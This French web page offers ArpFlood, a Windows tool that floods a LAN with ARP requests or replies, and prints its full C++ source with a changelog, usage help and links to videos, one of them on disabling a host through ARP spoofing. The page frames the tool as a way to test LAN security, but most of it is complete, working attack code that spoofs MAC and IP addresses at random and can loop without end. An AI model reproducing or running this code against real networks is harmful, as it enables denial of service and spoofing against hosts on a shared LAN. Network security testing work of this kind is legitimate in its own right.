Tirage aux sorts reservé aux étudiants. Gagnez le dernier Ipad avec FrameIP
Outil d’attaque par saturation de requete ARP

Outil d’attaque par saturation de requete ARP

1 – Définition de l’exécutable

L’utilitaire ArpFlood permet l’envoi massif de demande ou de réponse ARP. Ainsi il sera facile de tester et valider la bonne sécurisation de ses équipements LAN Ethernet.

2 – Screen shot

arpflood screen shot

3 – Download

Nom : ArpFlood.exe
Mode : Console
Version : 1.1
Librairie : 3.11
Taille : 60 Ko
Auteur : _SebF
Date de création : 02 Novembre 2006
Dernière compilation : 07 Décembre 2006

4 – Suivi du développement

4.1 – Problème restant

4.2 – RoadMap

4.3 – Suivi du projet

  • V1.1.3.11
    Ajout des arguments -arp_opocode, -arp_mac_source, -arp_ip_source, -arp_mac_destination et -arp_ip_destination
    Affectation à chacun de la possibilité de spécifier 0 afin d’obtenir un triage aléatoire
  • V1.0.3.10
    Ajout de l’argument -mac_source permettant le tirage aléatoire de l’adresse MAC
    Passage de l’entête ARP en data_hexa
    Création du projet Cmd, Level 4, compilation en mode Release.

5 – Code source

5.1 – ArpFlood.cpp

// ********************************************
// Nom : ArpFlood.cpp
// Auteur : sebastien.fontaine@authsecu.com.pas.de.spam
// Date de création : 02 Novembre 2006
// version : 1.1.3.11
// Licence : Cette executable est libre de toute utilisation.
//           La seule condition existante est de faire référence
//           au site http://www.authsecu.com afin de respecter le travail d'autrui.
// ********************************************

// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
#include "LibrairieSocket.h"
#include "pcap.h"

// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"
// /NODEFAULTLIB:libcd.lib
// /NODEFAULTLIB:LIBCMTD.lib
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")

// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);

// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac;                                    // Entête Ethernet
struct arp entete_arp;                                      // Entête ARP
char arp_ip_source[16];
char arp_ip_destination[16];
char data_a_envoyer[65535];                         // Data
unsigned int taille_de_data;                  // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535]; // data + entete ethernet
unsigned short taille_de_la_trame_a_envoyer=0; // Permet d'éviter un sizeof qui s'arrête au premier 0 trouvé

int nombre_de_caractere_emis;                       // Variable récupérant le nombre de caractères émis
unsigned long loops;                                        // Compteur permettant de lancer x fois les trames
bool bouclage_infinie;                                      // Variable permettant de définir le mode de boucle infinie (quand loops=0)
unsigned char numero_de_l_interface; // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon; // Adresse MAC
bool mac_source_aleatoire;                             // Variable permettant de savoir si l'adresse MAC source doit être tirée aléatoirement
bool arp_mac_source_aleatoire;                      // Variable permettant de savoir si l'adresse MAC source doit être tirée aléatoirement
bool arp_ip_source_aleatoire;              // Variable permettant de savoir si on doit tirer aléatoirement une adresse IP
bool arp_mac_destination_aleatoire;    // Variable permettant de savoir si l'adresse MAC destination doit être tirée aléatoirement
bool arp_ip_destination_aleatoire;  // Variable permettant de savoir si on doit tirer aléatoirement une adresse IP
bool view;                                                                              // Variable indiquant si on doit afficher les resultats

pcap_t *pointeur_interface;                             // Pointeur de l'interface
char buffer_d_erreur[PCAP_ERRBUF_SIZE]; 

int main (int argc, char* argv[])
            {
            initiation_des_variables();
            gestion_des_arguments(argc,argv);

            // ********************************************************
            // Accède à l'interface
            // ********************************************************
            if ((pointeur_interface=pcap_open_live( liste_des_interfaces.nom[numero_de_l_interface],65536,0, 1000,buffer_d_erreur))==NULL)
                        gestion_des_erreurs(1,"pcap_open_live",1,1);
                        
            // ********************************************************
            // Boucle d'envoi
            // ********************************************************
            while ( (loops!=0)||(bouclage_infinie==TRUE) )
                        {
                        // ********************************************************
                        // Décrémentation de la boucle
                        // ********************************************************
                        loops--;
                        
                        // ********************************************************
                        // Changement aléatoire des champs
                        // ********************************************************
                        Changement_aleatoire_des_valeurs();

                        // ********************************************************
                        // Envoi de la trame
                        // ********************************************************
                        envoi_de_la_trame_pcap();

                        // ********************************************************
                        // Affichage du résultat
                        // ********************************************************
                        if (view==true)
                                   affichage_du_resultat();
                        }

            // ********************************************************
            // Fermeture de l'accès à l'interface
            // ********************************************************
            pcap_close(pointeur_interface);           
                        
            printf("\n\n");
            return(1);
            }

void initiation_des_variables(void)
            {
            unsigned i;
            
            // ********************************************************
            // Initiation diverse
            // ********************************************************
            srand(GetTickCount());                                   // Initialise le Random
                        
            // ********************************************************
            // Affichage de la banniere
            // ********************************************************
            printf("\nArpFlood -  Send ArpRequest with spoofing MAC Source - Version 1.1.3.11");
            printf("\nCreate on November 02, 2006, Last compilation on December 11, 2006");
            printf("\nCreated by sebastien.fontaine@authsecu.com");
            printf("\n");

            // ********************************************************
            // Initiation des arguments
            // ********************************************************
            loops=1;
            bouclage_infinie=FALSE;
            numero_de_l_interface=0;
            liste_des_interfaces=recuperation_des_interfaces();
            view=true;

            // ********************************************************
            // Options de l'entête MAC
            // ********************************************************
            adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
            for (i=0;i<6;i++)
                        {
                        entete_mac.source[i]=0;
                        entete_mac.destination[i]=255;
                        }
            mac_source_aleatoire=true;
            entete_mac.type=htons(2054); // 08 06 indiquant un datagramme ARP

            // ********************************************************
            // Options de l'entête ARP
            // ********************************************************
            entete_arp.mac_type=htons(1);
            entete_arp.protocol_type=htons(2048);
            entete_arp.mac_taille=6;
            entete_arp.protocol_taille=4;
            entete_arp.opocode=htons(1);
            arp_mac_source_aleatoire=true;
            for (i=0;i<6;i++)
                        entete_arp.mac_source[i]=0;
            strcpy(arp_ip_source,"0.0.0.0");
            entete_arp.ip_source=resolution_de_nom(TRUE,arp_ip_source);
            arp_ip_source_aleatoire=true;
            arp_mac_destination_aleatoire=true;
            for (i=0;i<6;i++)
                        entete_arp.mac_destination[i]=0;
            strcpy(arp_ip_destination,"0.0.0.0");
            entete_arp.ip_destination=resolution_de_nom(TRUE,arp_ip_destination);
            arp_ip_destination_aleatoire=true;

            // ********************************************************
            // Initialisation des data
            // ********************************************************
            strcpy(data_a_envoyer,"www.frameip.com");
            taille_de_data=(unsigned int)strlen(data_a_envoyer);
            }

void gestion_des_arguments(int argc,char* argv[])
            {
            char *caractere_non_convertit;
            int i,j;

            // ********************************************************
            // Affichage de l'aide
            // ********************************************************
            if ( (argc>1) && (strcmp(argv[1],"-?")==0) || (argc==1) )
                        {
                        printf("\n");
                        printf("\nGENERAL OPTIONS");
                        printf("\n-?                    This help");
                        printf("\n-loops                Number of loops    Default: %d (0 => no stop)",loops);
                        printf("\n-view                 Show the answers   Default: %d",view);

                        printf("\n\nFREE INTERFACES");
                        for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
                                   printf("\n%d - %s",i,liste_des_interfaces.description[i]);
                        printf("\n-interface            Interface choice   Default: %d",numero_de_l_interface);

                        printf("\n\nETHERNET HEADER OPTIONS (-send_mode 1)");
                        printf("\n-mac_source            0 => Random @MAC  Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0], entete_mac.source[2],entete_mac.source[2], entete_mac.source[3],entete_mac.source[4],entete_mac.source[5]);

                        printf("\n\nARP HEADER OPTIONS (-mac_type 2054)");
                        printf("\n-arp_opocode           Operation type    Default: %d (1=>Request; 2=>Answer)",entete_arp.opocode);
                        printf("\n-arp_mac_source        0 => Random @MAC  Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_arp.mac_source[0], entete_arp.mac_source[1],entete_arp.mac_source[2], entete_arp.mac_source[3],entete_arp.mac_source[4], entete_arp.mac_source[5]);
                        printf("\n-arp_ip_source         0 => random @IP   Default: %s",arp_ip_source);
                        printf("\n-arp_mac_destination   0 => Random @MAC  Default: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_arp.mac_destination[0], entete_arp.mac_destination[1],entete_arp.mac_destination[2], entete_arp.mac_destination[3],entete_arp.mac_destination[4], entete_arp.mac_destination[5]);
                        printf("\n-arp_ip_destination    0 => random @IP   Default: %s",arp_ip_destination);

                        printf("\n\nSAMPLE");
                        printf("\narpflood.exe -interface 2 -loops 0 -view 1");
                        printf("\n\n");
                        exit(0);
                        }

            // ********************************************************
            // Récupération des arguments
            // ********************************************************
            for (i=1;i<argc;i=i+1)
                        {
                        // ********************************************************
                        // Choix généraux
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
                                   {
                                   loops=(unsigned long)strtod(argv[i+1],&caractere_non_convertit);
                                   if (loops==0)
                                               bouclage_infinie=TRUE;
                                   else
                                               bouclage_infinie=FALSE;
                                   }
                        if ( (strcmp(strlwr(argv[i]),"-view")==0) || (strcmp(strlwr(argv[i]),"/view")==0) )
                                   view=(bool)strtod(argv[i+1],&caractere_non_convertit);

                        // ********************************************************
                        // Choix de l'interface
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-interface")==0) || (strcmp(strlwr(argv[i]),"/interface")==0) )
                                   numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);

                        // ********************************************************
                        // Options de l'entête MAC
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-mac_source")==0) || (strcmp(strlwr(argv[i]),"/mac_source")==0) )
                                   {
                                   adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
                                   for (j=0;j<6;j++)
                                               {
                                               entete_mac.source[j]=adresse_mac_tampon.adresse[j];
                                               if (entete_mac.source[j]!=0)
                                                           mac_source_aleatoire=false;
                                               }
                                   }

                        // ********************************************************
                        // Options de l'entête ARP
                        // ********************************************************
                        if ( (stricmp(argv[i],"-arp_opocode")==0) || (stricmp(argv[i],"/arp_opocode")==0) )
                                   {
                                   entete_arp.opocode=(unsigned short)strtod(argv[i+1],&caractere_non_convertit);
                                   if (entete_arp.opocode==2)
                                               entete_arp.opocode=htons(2);
                                   else
                                               entete_arp.opocode=htons(1);
                                   }
                        if ( (stricmp(argv[i],"-arp_mac_source")==0) || (stricmp(argv[i],"/arp_mac_source")==0) )
                                   {
                                   adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
                                   for (j=0;j<6;j++)
                                               {
                                               entete_arp.mac_source[j]=adresse_mac_tampon.adresse[j];
                                               if (entete_arp.mac_source[j]!=0)
                                                           arp_mac_source_aleatoire=false;
                                               }
                                   }
                        if ( (stricmp(argv[i],"-arp_ip_source")==0) || (stricmp(argv[i],"/arp_ip_source")==0) )
                                   {
                                   entete_arp.ip_source=(unsigned long)resolution_de_nom(false,argv[i+1]);
                                   if (entete_arp.ip_source!=0)
                                               arp_ip_source_aleatoire=false;
                                   }
                        if ( (stricmp(argv[i],"-arp_mac_destination")==0) || (stricmp(argv[i],"/arp_mac_destination")==0) )
                                   {
                                   adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
                                   for (j=0;j<6;j++)
                                               {
                                               entete_arp.mac_destination[j]=adresse_mac_tampon.adresse[j];
                                               if (entete_arp.mac_destination[j]!=0)
                                                           arp_mac_destination_aleatoire=false;
                                               }
                                   }
                        if ( (stricmp(argv[i],"-arp_ip_destination")==0) || (stricmp(argv[i],"/arp_ip_destination")==0) )
                                   {
                                   entete_arp.ip_destination=(unsigned long)resolution_de_nom(false,argv[i+1]);
                                   if (entete_arp.ip_destination!=0)
                                               arp_ip_destination_aleatoire=false;
                                   }
                        }
            }

void Changement_aleatoire_des_valeurs()
            {
            unsigned int i;

            // ********************************************************
            // Tirage aléatoire de l'adresse MAC
            // ********************************************************
            if (mac_source_aleatoire==true)
                        for (i=0;i<6;i++)
                                   entete_mac.source[i]=(unsigned char)rand()%256;
            if (arp_mac_source_aleatoire==true)
                        for (i=0;i<6;i++)
                                   entete_arp.mac_source[i]=(unsigned char)rand()%256;
            if (arp_mac_destination_aleatoire==true)
                        for (i=0;i<6;i++)
                                   entete_arp.mac_destination[i]=(unsigned char)rand()%256;

            // ********************************************************
            // Tirage aléatoire des adresses IP
            // ********************************************************
            if (arp_ip_source_aleatoire==true)
                        entete_arp.ip_source=generation_d_une_adresse_ip_aleatoire(0);
            if (arp_ip_destination_aleatoire==true)
                        entete_arp.ip_destination=generation_d_une_adresse_ip_aleatoire(0);
            }

void envoi_de_la_trame_pcap(void)
            {
            // ********************************************************
            // Préparation de la trame à envoyé
            // ********************************************************
            memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac));
            memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_arp,sizeof(struct arp));   
            memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct arp),data_a_envoyer,taille_de_data);

            // ********************************************************
            // Envoi de la trame
            // ********************************************************
            taille_de_la_trame_a_envoyer=sizeof(struct mac)+sizeof(struct arp)+(unsigned short)taille_de_data;
            if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,taille_de_la_trame_a_envoyer)!=0)
                        gestion_des_erreurs(1,"pcap_sendpacket",1,1);                      
            }

void affichage_du_resultat()
            {
            // ********************************************************
            // Affichage du resultat
            // ********************************************************
            printf("\nARP frame was sent from %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0],entete_mac.source[1], entete_mac.source[2],entete_mac.source[3], entete_mac.source[4], entete_mac.source[5]);
            printf(" to %.2X-%.2X-%.2X-%.2X-%.2X-%.2X with %d Bytes",entete_mac.destination[0], entete_mac.destination[1],entete_mac.destination[2], entete_mac.destination[3], entete_mac.destination[4],entete_mac.destination[5], taille_de_la_trame_a_envoyer);
            }

6 – Les vidéos

  • 6.1 - Rendre inopérant un host via ARP Vidéo en Français

    Cette vidéo présente très basiquement comment rendre inopérant un host IP de votre LAN via le spoofing ARP.

    Rendre inopérant un host via ARP

  • 6.2 - Hub, Switch or Router ? Vidéo en Anglais

    Vidéo en anglais présentant les diffrénces entre un HUB, un Switch et un Routeur. Cette présentation est fluide, claire et sympas. Hubs, switches and routers are devices that allow us to create networks and connect those networks to one another. We explain how they work and what their individual differences are.

    Hub, Switch or Router ?

7 – Discussion autour de l’outil d’attaque par saturation de requete ARP

Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de l’outil d’attaque par saturation de requete ARP. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :

Commentaire et discussion

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *